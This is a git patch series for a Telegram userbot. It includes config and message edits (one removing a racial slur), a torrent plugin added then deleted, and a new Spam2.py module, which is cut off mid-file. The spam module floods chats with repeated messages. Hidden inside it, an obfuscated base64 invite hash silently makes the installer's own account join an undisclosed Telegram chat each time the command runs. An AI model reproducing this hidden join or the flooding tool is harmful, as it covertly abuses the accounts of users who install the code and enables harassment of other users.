zdX6oib>t_8n@wEn5s>IV)|UVzD^lYm>V8TveY~eV;@$Z`%O61y0aVOKl5>webQV1~ zZGpoH3>hyfhZbFCTbn$-bCtlz@NA^b6r%A$9>Jkw=TwPD4YBbctq$@5g}`@(2*HJNl&l?o8nD^!Y|kVww7*`AU$`Hfa|!U_JBD7_ zZch4=?w`KRoUYD~zigOm_ z`%PNp+t1&nV(|LpHgz0xwVY?|A!^2z7~Ki0TQ$gz>)v~rHWTX%9$FizNzk0BoZC|! z5nI3DB!;}=Y*VG(vku|*S41njo??D!$ze^aHVcKI72W$nu;Y-!S$$=+sYLg3lr@QA zY3HcR_jottDw+zDtfnnqCrq0=;f%;FqtB{4KDXlb;s>79)=f4K?e2lIc?M+s+8+x_ zIVC_!&>V{t7?i@htFYNc+C_Yz@$Q0zMSIpYnk7!MX=PIq1r2;kE5>HGn)VAC30yJG?6QY6Hosf+?@6|h9##+Y zVicY#CKvZ4-cY`G2}rjcnU>^C{H3L+FP(VI*y9^70~{xc{4zpNNh56%)RkK(kJF5S zCAooZ*o~1)BfYPs!@Vj#2mAysm(-W#NqN`f1q>|ay9OltXoQpHr=5}pEhnbui%Q!c zixtk0MSO5Dcpmhms37|X>-C=^p%5k{mU{F-m8PgWZ_IA@yVs>82r=AgG2H%sJoDTM zL|dF<#PKOs;|l7yGar%Mgq69e*&)l2o_r4XO^f3WBzbet;dnaV z!_KutrStI}&>(`saon4o(LV5<_mA?|axD6DO?kQOtnUg(+qyDRyvLxb>rT-v_@pSu zG{V9AB(zI$k;rUb%5nzJO4wMgu;adES%Rh}XGT~fh&ybtIsoT$r(b$rkpDg30Y!Cb z>Gu&QX4V(VH#9#K$p8##ksW5X!4Hf_osDQO0iLe0^BQeKO`tX3BNSJLgROmzjFBiQ z{}A;xlEcselpxe9?PtF-Fu$?FMrWC%Zh+EeEov;UOl&$;ks8Y_yQ-3H+QGrD^H<;9 zb~HCRsvhf(q+*q4iC#73Wn;PGz@Q}RL ztZK$0D}B!`b*g%6*-sc9rDB?H&$i^Y)5Z5~Db8vdPsgdcWjy?6_dH#V0hBK7{h*vg zi#Ng@sqGy8dilXk=;KMs=DO9$4d!~uP_;3k(pOe90w1jsJd=hBwXpnWeTQpkg>(8) zeDB9fg@;nI7jI_yJLHvXazXheiE4+HW9WA!?_Dyx=sRI$JTDY_dE~7z@(%f3>qjuR z9**;~$oVgjMI$&Hj+JCeU@<{|Sect658&Alb3@9to@YAC3}FX!M1PZt!)d7+yXdv^ z2w|j@bKQfA@#LOfDxq8v89Te zX#>F?Gq2s?=f8OCJ03}$?T>UVoK<)C1ZjzN%dCo&GsGWkF%?Tv0eXS>4{d(X+)%}l0>#=XW^QE&Hu4)jp|MCt6cL@u^~9S|&M zlqo)K;`*=E=n>!o(4ot)aYXt&VMWt_k#@P94dwo%rT4DV9 zB$pC07!S>nw3c?m+jU_!{CrxE=&y#4&6=HDs2 z&>b~-%%Avq5-;Ho0yxH7)96+sEkoYG<2ydtNoNwKQ4Ku%?a*+F$WOs`-O=lD-RpIy z5-ECZEI2~ccj(cnA(bB4A4oI-O{9aHcy;pUqJ=#p7oQ=+N4U+_Aa=5*9;J^dXYDf} zAAtQN>#>r7(1UGN^+wg7CVK-kwl}yyF$8E-wFql&5ws${mYe@+MEVkjk3-19>S6H9 zgAs$X;!;JO%s-Vgl=N?s@+n*Dzf)w#7-6m+ew{}3 z0g%Vp$P>Htro;VZEn7cu#{0Nw4g8-FfwlL_er&-MGN%fWlcoAw1N|^am;*k~`mmra zJryIkNE$*0VKmq4eZ@EY@BTV{7$}57QaBA~)c;rFvO-NjMqPj7dmTQ(Sn zO_H1mz*5xL?OR(EH=;76F9B9{wBGH;7rc$qazSl6kKP^Vu93s5IYJnXn!#e;Vfzip zB?KV}Rvx?HR;v{9eh2s_E%Cvpmvh_GILF-jshugH$ga&O>TP{et)_UQ^^W7(?x#7H zt3Oq6Zyl`qT(hxxJj}JIc;%3R@B^(~9pFa+k1VEs!6&2N(FGDD4=5wyO58yT;-21L z$_guhht^kR)ZnouKg+(6U%InXmw>Eu9iG;RGFCHKlhB`x268^;i__S{DNtXfye<)i zofX63=KS*azq>_*CN25uHwqCRsS@Is#*NN~|Ei;TLI&FnJ4yCQ$Jxer+j9?jLGNciS2MXU{1F8OQ;>8+t0nP-CVONay+u5|z;l2~` z&CRnbRnE4}HxMVrI`O!rg;imkIRn4gR&U2;ltksSE4KqFg(Z9>AT0+=B7ejPf8i)h zeG}c8ISLkrC6j7TeQN((JLehHWcQ|Vd@U#zL@6pwKtQAjXy~BmOE(}z5Ms!S)DS`o z5TuBT6hVlT08*udNC}Y=B7`CxK|m5nqzQ!H2{k~#&3|WhX20yr&dz?>nf-L0Z)cwK z%-rXG?(275oK@Eq?%mqRO_*9Bn(|#jmC&Y94XsRU^V6@EZFKL%B3oJ8X8Dd1V+%5E zF=5NkE)<;@^5G#@{N#PU*+wDLB;;i0G${Jok&I3E(_j48w>gDLM|@Mr>>GoC;~B9B z@4|k6pdvcSLY4eF1+(>9B6?cdZnP{=)&A{G*A^e?m|q@K@_6**7cRxmxEFvzDpX$v z3mF1}gyyrzWcn zN6l_F|I5Fb7NA|%N1@Dd^fAMB*)AxTcqNrc!Ipx zX>v`X!I3n(1_HjbfXoE$2)T4}4;5%({whC5E+{96PPmOC(p1h19K`RE(vZCQ5~$i;lzJ= zCEl!F@O{y4Tfp-QF0%`{kz`oOV#v-z`mBSQYKpXm=hGKbHP2IPa1;~d(AXFbcsuqQ zb_W}`mL}YNK}doe#1t8EaTNT-gB^F9}{Q@yNnUdi(kQcT! zE2nmN-h&lLDce4?g(g&|Ot4yZ-9YJ7ruq6<9e`)R|AeU52M0@hO5+sx!fS@W1BQHa z6WsU2f$DNHyn{%^1?IG;yGE3X1ZTX3a_ouepG-THZA+29@`cfz55#VgNGue^Z8}rk zQWe+k@8eS>e2uF0!6yc|hE$;0spfft4}~d1GF8=ZFiWXAPzLKjz~LWfA=Q0#WD4x=cwWH-v|Awmc<E& z+o<86+k#!iVgh@0MLP%A_ycPX+65N;Lu`Dn>sejlulr)QBJxXq zW+gbn`ODASo_Wp}ge4}5=G{ekLNpkvZ*lxfPy0Qq4g%nLMoAnw#sRJmo1gP)=VKM@ zcLEMp9CMjU^byE~CCicDwQVPdUrBn#v=l1#X;y1D<@gSG^4daoBAzhAHujVE$7$^A*}l>>V>GP-mEY&(Cx1H)(PlOC1EizICtm z{^3JR9UyEPK3->#t(4jCVA*0*nps5gHL390Fc8#}OQf#md~b&nE9<# zmnD;*YhLiixl*4j?0hi!4ptun^|g#mT22Z}RIj}?xPyLC_?wV5R$5In9(kmkYt1O)%94}MT^l31XylRfdRBDZ;Fbwa zXW)yj-1ms@^Rf~~{kON5BE!uHiL1^QGvZgp3@i;l{=}KS?DcjBry~z=zG%K*V3sHY z6PE!tn3htP7nZ`|kA04f#G4vlE~ErYr8gEv zT$3e2-q>sUoof&n;7a%qQcl?{gB|hITdvqtk2_@aRh%qyJp1Fm|JZ_Fl$Mk@x*nr0 zyW&Ticj?yyQL18lz%w9CsDjUswaX?B?beO8x2KtM%yWmHZ2f-caXkqh6XjseL23q8A?nKZcKw$RY=6LLl8G&8lM;a2QpvP7jyGnrS%zpH&{So7LUozDc& z@|)<1Jj%9ngl9aiare@@Q(QqYQ9DV43d?n&=K^TH%{dOQ(D4sA$3)OsFA#vauarWovFvkx=`is z9-FFv|HkOv%kp#&t2B#moD>g+X-ncgoPGP<%@q}uFMnvO{MM!l5OC?cpccd|J+JmN zHdPMehaRqt!%wd)6wYwR+9eBU^hK0etGG#!SHjO+d^Hk;3feN`XQJrh?kd^h>pdgm zfo}RJUJZvaAw!NIo>>N%=dAl8!VT<1H?MQ<$Rep!tet@a66wh_mr~cPKUVmZCBV#Q z>t_6N_QFKc!I=y{0qRD$M}Ja_Qm;}xL8sq8KzndInu=SlDag#rC_J3Gk+NXFkFuYDUO_LnL0 za(_77#*C@$3toj9&Yjs$%L!P;tVy2{z?{LPbeoJ-+Lkah*I{EyO=2^DSYbzAos!#q zv)6a72ni(MrW$X-_MO+>*a!@xTI1Y7HN&C0RivIx&FR#$@8_0&*B@_gILjnq7d4!> z*PpUH& zN;ineTUU+tY^?Ok>m+Z3e}Ov+eD}kbfIYbA?!{(aXnRRw)+~9}r!G0aASWjWtdZXE zSKXI^FgGv0F{m>zc4(3NtiIyu4U_}}XLg!-hrVSAwdtd)!TtKiI_=@Q#--0hY!-%V za^7U~4`>N8g00E^PeWo!q2f$M=|~ZyCeE*bo}rNI%$y?7NVK0kc%|@(QljAlZ0-^n z<%X}Zf<1}5(nHQj)z%*njLW$T&Pt->4lL;eeo{QcZ{%ZL93`h(v z{M}Sp$M=t!?=exdPlMcH2FvnPA%*GQR%ehqS{`iD{g<$@$bHX1@x;%y^*iByN{aV?o4tj&a)3bxs+(^&Ui z$_EIrl98vglF!p0=<8m;w#04_KF_4KYHWN9_~92E7p2znk7N3#w#m^0Rmk?>AC8ZB zBj(9J9AaUYMc%q04cK}FpGAO;)}xcQ13#d>1sTZTMj4T;Nl{Lg4H*E|V2|V&eDw`+ zS8b)CYlEp>t17$nnm-&7iJ-+l99LOTsrb(8>AmYC%B+&k36v@9cGGVO%8_iK1@|c! z@*$8apB#6`T%O>>PLr?*nkz4Qd5Q_LT;FXqyX;0xS>ey;Pw*E_)+irp*QqZSS_$6L zNy%~>D2dn+A{WjC*Qf&&tTV$%`}6%pw_m@!V+)P*9bSwLq>r~3)NpY!pKuQ?E8y?N z_2M+Yq&G#hPOo~JNdvmL-$HmXZ@HJxL-U*$dQY>KFib)0C{zW)Be(V(2K#)s=8|E- zBs%Ibv^IuT(-W21K+>!A7f)4fA2AzCp&4%Gywf@3b&Qz~)^<|mk7q|Fbg;JKB6ac4 znD7ZSS%-fSFWFQ{-6pBKM8DpYuQ-=exY*u*se|s-vZ4bw)faeq1+CY8ee6bx(~dC1 z?zaFVFK~`7@NN~Zi+WVuFHNk7e(&+l@_78vl1cWsxT2r;mXFA=rj_-Z<$@g5qvNi8 zv%QFx&)my1bd_(N1CDd+#SrcgODr>o{kh)WZo71{@&j9dYS?SoF2#Q8+cm>L1Km6i zGwKZ4{$Fzr&1{);h1b{+$@Su;eHPCcGv?^dVOC*xUt&QR&WBaBxuuM%GJQ)i=1QDx z7$v5l>i7NYabF@qUaxCk=EA4z8k95BrfU2SM-{VCS62FP#|ndV zt(ln>Kx-iKS)!HG`$b{FeZ>S4uNzy#Yx$qTyVB*2Un!pabgC=yqwk4?OrFQ7F1|DG zd=aDu=*>^afb!=Dk81|zHp}J`>CaA%OE^vV@rFOH;n(l$3#&-o)XExHSbG*U!24JS z3MQ@k1(~&mU7q)jF7@voachn^D^$S2scQ~9(q?eS$S00l53b@T^he8k#Qx#N{nKyR zg%1|g(sLCtQ1zq*9F*~qI8j=9@Iqk?dG{Sni9Z~2)&XZ(OI$H<>6*-2ra4Vg^}-RZ zuFrp%D5>Ab26}D#!P6;0;C*sc-56Als3I-4W1? zaTG)>#IXN8BXD$vlRRg%SKC+JE4oS?H?Oq$CR=S_e^S+Aem2StH)j0dP}&4a{=mtV zkqtZKR(*|j0p0VSRR?dYf)4tfo=Vbav{jaB&zZZdkMe_~yOb*0 zWvxxs-!HCIindag0fIP%slKXglNVoXLg3+V6!mQKK5F%{Xai?%OmDac10T$O>w;qg z&wY0Ejf?9F3SW6_em@C1#ueYMQLAKa`GE~*+nF@qF1;YoMuV8``BCpsHv`M?uG1LE%q6V;%Wq zWNnviQ5Ln4Ju8>!des3J`cG+^T!`XzzlQmZQ%v8Wn|%E1?Rg2OR~lS6J^l+&JK9gb ze>dNh8}ZKkYhWb5vfYmH-4(FZZe80g_%NN*{wXi5Y{m0mlFIe}#l)Zg&u#v{n_YeU H&(OaC8)#*r literal 0 HcmV?d00001 From 88283b5a603be3549fd000919077bbf3daa0a044 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 11 Jan 2021 08:51:07 +0530 Subject: [PATCH 467/838] Update Configs.py --- fridaybot/Configs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index c3baaf2d..d9a8a1df 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -30,7 +30,7 @@ class Config(object): "HASH_TO_TORRENT_API", "https://example.com/torrent/{}" ) # This is required for the @telegraph functionality. - TELEGRAPH_SHORT_NAME = os.environ.get("TELEGRAPH_SHORT_NAME", "Friday") + TELEGRAPH_SHORT_NAME = os.environ.get("TELEGRAPH_SHORT_NAME", "VirtualUserbot") # Get a Free API Key from OCR.Space OCR_SPACE_API_KEY = os.environ.get("OCR_SPACE_API_KEY", None) DEEP_API_KEY = os.environ.get("DEEP_API_KEY", None) From ec3c8742add2a866888c78ea1da5a1bde9b5e6ab Mon Sep 17 00:00:00 2001 From: SLdevilX <52373359+SLdevilX@users.noreply.github.com> Date: Mon, 11 Jan 2021 10:23:16 +0530 Subject: [PATCH 468/838] Update poto.py --- fridaybot/modules/poto.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/poto.py b/fridaybot/modules/poto.py index 20558e10..06b25823 100644 --- a/fridaybot/modules/poto.py +++ b/fridaybot/modules/poto.py @@ -74,7 +74,7 @@ async def potocmd(event): else: - await event.edit("`No photo found of that Nigga , now u Die`") + await event.edit("`මූ ලග පොටෝ එකක් නෑ 😅 `") return From a2d2d359d6a75ec9b1985a37989f9469a7e1aff2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 11 Jan 2021 17:23:33 +0530 Subject: [PATCH 469/838] Update whois.py --- fridaybot/modules/whois.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/whois.py b/fridaybot/modules/whois.py index 8fa154ec..7c77a4b8 100644 --- a/fridaybot/modules/whois.py +++ b/fridaybot/modules/whois.py @@ -194,7 +194,7 @@ async def fetch_info(replied_user, event): try: dc_id, location = get_input_location(replied_user.profile_photo) except: - dc_id = "Couldn't fetch DC ID!" + dc_id = "Couldn't fetch ViU ID!" common_chat = replied_user.common_chats_count username = replied_user.user.username user_bio = replied_user.about @@ -214,7 +214,7 @@ async def fetch_info(replied_user, event): ) username = "@{}".format(username) if username else ("This User has no Username") user_bio = "This User has no About" if not user_bio else user_bio - caption = "USER INFO from DARK COBRA's database :\n\n" + caption = "USER INFO fromVirtualUserbot's database :\n\n" caption += f"👤First Name: {first_name} {last_name}\n" caption += f"🤵Username: {username}\n" caption += f"🔖ID: {user_id}\n" From c8f102db3e2abdf8a5573088d8f5bbe002f072c1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 11 Jan 2021 17:34:55 +0530 Subject: [PATCH 470/838] Update whois.py From 3982b6f6e946367ff8ec7406ac1de025d5152f5d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 11 Jan 2021 17:35:42 +0530 Subject: [PATCH 471/838] Update whois.py --- fridaybot/modules/whois.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/whois.py b/fridaybot/modules/whois.py index 7c77a4b8..c8b4332c 100644 --- a/fridaybot/modules/whois.py +++ b/fridaybot/modules/whois.py @@ -46,7 +46,7 @@ async def _(event): try: dc_id, location = get_input_location(replied_user.profile_photo) except: - dc_id = "Couldn't fetch DC ID!" + dc_id = "Couldn't fetch ViU ID!" try: casurl = "https://api.cas.chat/check?user_id={}".format(user_id) data = get(casurl).json() @@ -214,7 +214,7 @@ async def fetch_info(replied_user, event): ) username = "@{}".format(username) if username else ("This User has no Username") user_bio = "This User has no About" if not user_bio else user_bio - caption = "USER INFO fromVirtualUserbot's database :\n\n" + caption = "USER INFO from VirtualUserbot's database :\n\n" caption += f"👤First Name: {first_name} {last_name}\n" caption += f"🤵Username: {username}\n" caption += f"🔖ID: {user_id}\n" From 16312c7cd9c9282c643215a097c314766b8cdaf5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 11 Jan 2021 17:36:26 +0530 Subject: [PATCH 472/838] Create aria2.py --- fridaybot/modules/aria2.py | 163 +++++++++++++++++++++++++++++++++++++ 1 file changed, 163 insertions(+) create mode 100644 fridaybot/modules/aria2.py diff --git a/fridaybot/modules/aria2.py b/fridaybot/modules/aria2.py new file mode 100644 index 00000000..d649a6e6 --- /dev/null +++ b/fridaybot/modules/aria2.py @@ -0,0 +1,163 @@ +"" +A Torrent Client Plugin Based On Aria2 for Userbot +cmds: Magnet link : .magnet magnetLink + Torrent file from local: .tor file_path + Show Downloads: .show + Remove All Downloads: .ariaRM + +By:- @Zero_cool7870 +""" +import aria2p +from telethon import events +import asyncio +import os +from ..utils import admin_cmd + + +cmd = "aria2c --enable-rpc --rpc-listen-all=false --rpc-listen-port 6800 --max-connection-per-server=10 --rpc-max-request-size=1024M --seed-time=0.01 --min-split-size=10M --follow-torrent=mem --split=10 --daemon=true --allow-overwrite=true" +EDIT_SLEEP_TIME_OUT = 5 +aria2_is_running = os.system(cmd) + +aria2 = aria2p.API( + aria2p.Client( + host="http://localhost", + port=6800, + secret="" + ) + ) + + +@borg.on(admin_cmd(pattern=r"magnet")) +async def magnet_download(event): + if event.fwd_from: + return + var = event.text + var = var[8:] + + magnet_uri = var + magnet_uri = magnet_uri.replace("`","") + logger.info(magnet_uri) + try: #Add Magnet URI Into Queue + download = aria2.add_magnet(magnet_uri) + except Exception as e: + logger.info(str(e)) + await event.edit("Error :\n{}".format(str(e))) + return + gid = download.gid + await progress_status(gid=gid,event=event,previous=None) + await asyncio.sleep(EDIT_SLEEP_TIME_OUT) + new_gid = await check_metadata(gid) + await progress_status(gid=new_gid,event=event,previous=None) + + + +@borg.on(admin_cmd(pattern=r"tor")) +async def torrent_download(event): + if event.fwd_from: + return + var = event.text[5:] + torrent_file_path = var + torrent_file_path = torrent_file_path.replace("`","") + logger.info(torrent_file_path) + try: #Add Torrent Into Queue + download = aria2.add_torrent(torrent_file_path, uris=None, options=None, position=None) + except Exception as e: + await event.edit("Error :\n`{}`".format(str(e))) + return + gid = download.gid + await progress_status(gid=gid,event=event,previous=None) + +@borg.on(admin_cmd(pattern=r"url")) +async def magnet_download(event): + if event.fwd_from: + return + var = event.text[5:] + print(var) + uris = [var] + try: # Add URL Into Queue + download = aria2.add_uris(uris, options=None, position=None) + except Exception as e: + logger.info(str(e)) + await event.edit("Error :\n`{}`".format(str(e))) + return + gid = download.gid + await progress_status(gid=gid,event=event,previous=None) + file = aria2.get_download(gid) + if file.followed_by_ids: + new_gid = await check_metadata(gid) + await progress_status(gid=new_gid,event=event,previous=None) + +@borg.on(admin_cmd(pattern=r"ariaRM")) +async def remove_all(event): + if event.fwd_from: + return + try: + removed = aria2.remove_all(force=True) + aria2.purge_all() + except: + pass + if removed == False: #If API returns False Try to Remove Through System Call. + os.system("aria2p remove-all") + await event.edit("`Removed All Downloads.`") + +@borg.on(admin_cmd(pattern=r"show")) +async def show_all(event): + if event.fwd_from: + return + output = "output.txt" + downloads = aria2.get_downloads() + msg = "" + for download in downloads: + msg = msg+"File: `"+str(download.name) +"`\nSpeed: "+ str(download.download_speed_string())+"\nProgress: "+str(download.progress_string())+"\nTotal Size: "+str(download.total_length_string())+"\nStatus: "+str(download.status)+"\nETA: "+str(download.eta_string())+"\n\n" + if len(msg) <= 4096: + await event.edit("`Current Downloads: `\n"+msg) + else: + await event.edit("`Output is huge. Sending as a file...`") + with open(output,'w') as f: + f.write(msg) + await asyncio.sleep(2) + await event.delete() + await borg.send_file( + event.chat_id, + output, + force_document=True, + supports_streaming=False, + allow_cache=False, + reply_to=event.message.id, + ) + +async def check_metadata(gid): + file = aria2.get_download(gid) + new_gid = file.followed_by_ids[0] + logger.info("Changing GID "+gid+" to "+new_gid) + return new_gid + +async def progress_status(gid,event,previous): + try: + file = aria2.get_download(gid) + if not file.is_complete: + if not file.error_message: + msg = "Downloading File: `"+str(file.name) +"`\nSpeed: "+ str(file.download_speed_string())+"\nProgress: "+str(file.progress_string())+"\nTotal Size: "+str(file.total_length_string())+"\nStatus: "+str(file.status)+"\nETA: "+str(file.eta_string())+"\n\n" + if previous != msg: + await event.edit(msg) + previous = msg + else: + logger.info(str(file.error_message)) + await event.edit("Error : `{}`".format(str(file.error_message))) + return + await asyncio.sleep(EDIT_SLEEP_TIME_OUT) + await progress_status(gid,event,previous) + else: + await event.edit("File Downloaded Successfully: `{}`".format(file.name)) + return + except Exception as e: + if " not found" in str(e) or "'file'" in str(e): + await event.edit("Download Canceled :\n`{}`".format(file.name)) + return + elif " depth exceeded" in str(e): + file.remove(force=True) + await event.edit("Download Auto Canceled :\n`{}`\nYour Torrent/Link is Dead.".format(file.name)) + else: + logger.info(str(e)) + await event.edit("Error :\n`{}`".format(str(e))) + return From 1bd5c6ebfcd3323d019cef29505b7b1c223085f9 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 11 Jan 2021 17:37:01 +0530 Subject: [PATCH 473/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index c6ae512d..cf941aa6 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,6 +3,7 @@ git+https://github.com/cher-nov/cryptg nospamplus pymediainfo quote +aria2p python-magic pyseoanalyzer glitch_this From ee117636294ee323956ed573b7b1f129266f4f3c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 11 Jan 2021 17:47:15 +0530 Subject: [PATCH 474/838] Update aria2.py --- fridaybot/modules/aria2.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/aria2.py b/fridaybot/modules/aria2.py index d649a6e6..38435eda 100644 --- a/fridaybot/modules/aria2.py +++ b/fridaybot/modules/aria2.py @@ -1,4 +1,4 @@ -"" +""" A Torrent Client Plugin Based On Aria2 for Userbot cmds: Magnet link : .magnet magnetLink Torrent file from local: .tor file_path From 285b241a9ba83e7dc875392884629fbeb7923bc1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 11 Jan 2021 18:43:15 +0530 Subject: [PATCH 475/838] Friday Team Said to Delete.. No torrents --- fridaybot/modules/aria2.py | 163 ------------------------------------- 1 file changed, 163 deletions(-) delete mode 100644 fridaybot/modules/aria2.py diff --git a/fridaybot/modules/aria2.py b/fridaybot/modules/aria2.py deleted file mode 100644 index 38435eda..00000000 --- a/fridaybot/modules/aria2.py +++ /dev/null @@ -1,163 +0,0 @@ -""" -A Torrent Client Plugin Based On Aria2 for Userbot -cmds: Magnet link : .magnet magnetLink - Torrent file from local: .tor file_path - Show Downloads: .show - Remove All Downloads: .ariaRM - -By:- @Zero_cool7870 -""" -import aria2p -from telethon import events -import asyncio -import os -from ..utils import admin_cmd - - -cmd = "aria2c --enable-rpc --rpc-listen-all=false --rpc-listen-port 6800 --max-connection-per-server=10 --rpc-max-request-size=1024M --seed-time=0.01 --min-split-size=10M --follow-torrent=mem --split=10 --daemon=true --allow-overwrite=true" -EDIT_SLEEP_TIME_OUT = 5 -aria2_is_running = os.system(cmd) - -aria2 = aria2p.API( - aria2p.Client( - host="http://localhost", - port=6800, - secret="" - ) - ) - - -@borg.on(admin_cmd(pattern=r"magnet")) -async def magnet_download(event): - if event.fwd_from: - return - var = event.text - var = var[8:] - - magnet_uri = var - magnet_uri = magnet_uri.replace("`","") - logger.info(magnet_uri) - try: #Add Magnet URI Into Queue - download = aria2.add_magnet(magnet_uri) - except Exception as e: - logger.info(str(e)) - await event.edit("Error :\n{}".format(str(e))) - return - gid = download.gid - await progress_status(gid=gid,event=event,previous=None) - await asyncio.sleep(EDIT_SLEEP_TIME_OUT) - new_gid = await check_metadata(gid) - await progress_status(gid=new_gid,event=event,previous=None) - - - -@borg.on(admin_cmd(pattern=r"tor")) -async def torrent_download(event): - if event.fwd_from: - return - var = event.text[5:] - torrent_file_path = var - torrent_file_path = torrent_file_path.replace("`","") - logger.info(torrent_file_path) - try: #Add Torrent Into Queue - download = aria2.add_torrent(torrent_file_path, uris=None, options=None, position=None) - except Exception as e: - await event.edit("Error :\n`{}`".format(str(e))) - return - gid = download.gid - await progress_status(gid=gid,event=event,previous=None) - -@borg.on(admin_cmd(pattern=r"url")) -async def magnet_download(event): - if event.fwd_from: - return - var = event.text[5:] - print(var) - uris = [var] - try: # Add URL Into Queue - download = aria2.add_uris(uris, options=None, position=None) - except Exception as e: - logger.info(str(e)) - await event.edit("Error :\n`{}`".format(str(e))) - return - gid = download.gid - await progress_status(gid=gid,event=event,previous=None) - file = aria2.get_download(gid) - if file.followed_by_ids: - new_gid = await check_metadata(gid) - await progress_status(gid=new_gid,event=event,previous=None) - -@borg.on(admin_cmd(pattern=r"ariaRM")) -async def remove_all(event): - if event.fwd_from: - return - try: - removed = aria2.remove_all(force=True) - aria2.purge_all() - except: - pass - if removed == False: #If API returns False Try to Remove Through System Call. - os.system("aria2p remove-all") - await event.edit("`Removed All Downloads.`") - -@borg.on(admin_cmd(pattern=r"show")) -async def show_all(event): - if event.fwd_from: - return - output = "output.txt" - downloads = aria2.get_downloads() - msg = "" - for download in downloads: - msg = msg+"File: `"+str(download.name) +"`\nSpeed: "+ str(download.download_speed_string())+"\nProgress: "+str(download.progress_string())+"\nTotal Size: "+str(download.total_length_string())+"\nStatus: "+str(download.status)+"\nETA: "+str(download.eta_string())+"\n\n" - if len(msg) <= 4096: - await event.edit("`Current Downloads: `\n"+msg) - else: - await event.edit("`Output is huge. Sending as a file...`") - with open(output,'w') as f: - f.write(msg) - await asyncio.sleep(2) - await event.delete() - await borg.send_file( - event.chat_id, - output, - force_document=True, - supports_streaming=False, - allow_cache=False, - reply_to=event.message.id, - ) - -async def check_metadata(gid): - file = aria2.get_download(gid) - new_gid = file.followed_by_ids[0] - logger.info("Changing GID "+gid+" to "+new_gid) - return new_gid - -async def progress_status(gid,event,previous): - try: - file = aria2.get_download(gid) - if not file.is_complete: - if not file.error_message: - msg = "Downloading File: `"+str(file.name) +"`\nSpeed: "+ str(file.download_speed_string())+"\nProgress: "+str(file.progress_string())+"\nTotal Size: "+str(file.total_length_string())+"\nStatus: "+str(file.status)+"\nETA: "+str(file.eta_string())+"\n\n" - if previous != msg: - await event.edit(msg) - previous = msg - else: - logger.info(str(file.error_message)) - await event.edit("Error : `{}`".format(str(file.error_message))) - return - await asyncio.sleep(EDIT_SLEEP_TIME_OUT) - await progress_status(gid,event,previous) - else: - await event.edit("File Downloaded Successfully: `{}`".format(file.name)) - return - except Exception as e: - if " not found" in str(e) or "'file'" in str(e): - await event.edit("Download Canceled :\n`{}`".format(file.name)) - return - elif " depth exceeded" in str(e): - file.remove(force=True) - await event.edit("Download Auto Canceled :\n`{}`\nYour Torrent/Link is Dead.".format(file.name)) - else: - logger.info(str(e)) - await event.edit("Error :\n`{}`".format(str(e))) - return From df91f388d422ea1389ca9d2882e6ae9f5c5e3fff Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 11 Jan 2021 18:44:11 +0530 Subject: [PATCH 476/838] No torrenting --- requirements.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index cf941aa6..c6ae512d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,7 +3,6 @@ git+https://github.com/cher-nov/cryptg nospamplus pymediainfo quote -aria2p python-magic pyseoanalyzer glitch_this From c47cb4e58680bbd1a20e2282ad7e1c3f517ce801 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 12 Jan 2021 11:37:13 +0530 Subject: [PATCH 477/838] Create Spam2.py --- fridaybot/modules/Spam2.py | 467 +++++++++++++++++++++++++++++++++++++ 1 file changed, 467 insertions(+) create mode 100644 fridaybot/modules/Spam2.py diff --git a/fridaybot/modules/Spam2.py b/fridaybot/modules/Spam2.py new file mode 100644 index 00000000..d05128e7 --- /dev/null +++ b/fridaybot/modules/Spam2.py @@ -0,0 +1,467 @@ + +# Written to VirtualUserbot by Inuka Asith + + +import asyncio +import base64 +import os + +from telethon import functions, types +from telethon.tl.functions.messages import ImportChatInviteRequest as Get + +from fridaybot import CMD_HELP +from fridaybot import BOTLOG, BOTLOG_CHATID +from ..utils import edit_or_reply, sudo_cmd +from ..utils import admin_cmd as lightning_cmd + +@bot.on(lightning_cmd(pattern="spam (.*)")) +@bot.on(sudo_cmd(pattern="spam (.*)", allow_sudo=True)) +async def spammer(e): + if e.fwd_from: + return + await e.get_chat() + reply_to_id = e.message + if e.reply_to_msg_id: + reply_to_id = await e.get_reply_message() + if not os.path.isdir(Config.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Config.TEMP_DOWNLOAD_DIRECTORY) + try: + hmm = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + hmm = Get(hmm) + await e.client(hmm) + except BaseException: + pass + cat = ("".join(e.text.split(maxsplit=1)[1:])).split(" ", 1) + counter = int(cat[0]) + if counter > 50: + return await edit_or_reply(e, "Use `.bigspam` for spam greater than 50") + if len(cat) == 2: + spam_message = str(("".join(e.text.split(maxsplit=1)[1:])).split(" ", 1)[1]) + await e.delete() + for _ in range(counter): + if e.reply_to_msg_id: + await reply_to_id.reply(spam_message) + else: + await e.client.send_message(e.chat_id, spam_message) + await asyncio.sleep(0.1) + if BOTLOG: + if e.is_private: + await e.client.send_message( + BOTLOG_CHATID, + "#SPAM\n" + + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} messages of \n" + + f"`{spam_message}`", + ) + else: + await e.client.send_message( + BOTLOG_CHATID, + "#SPAM\n" + + f"Spam was executed successfully in 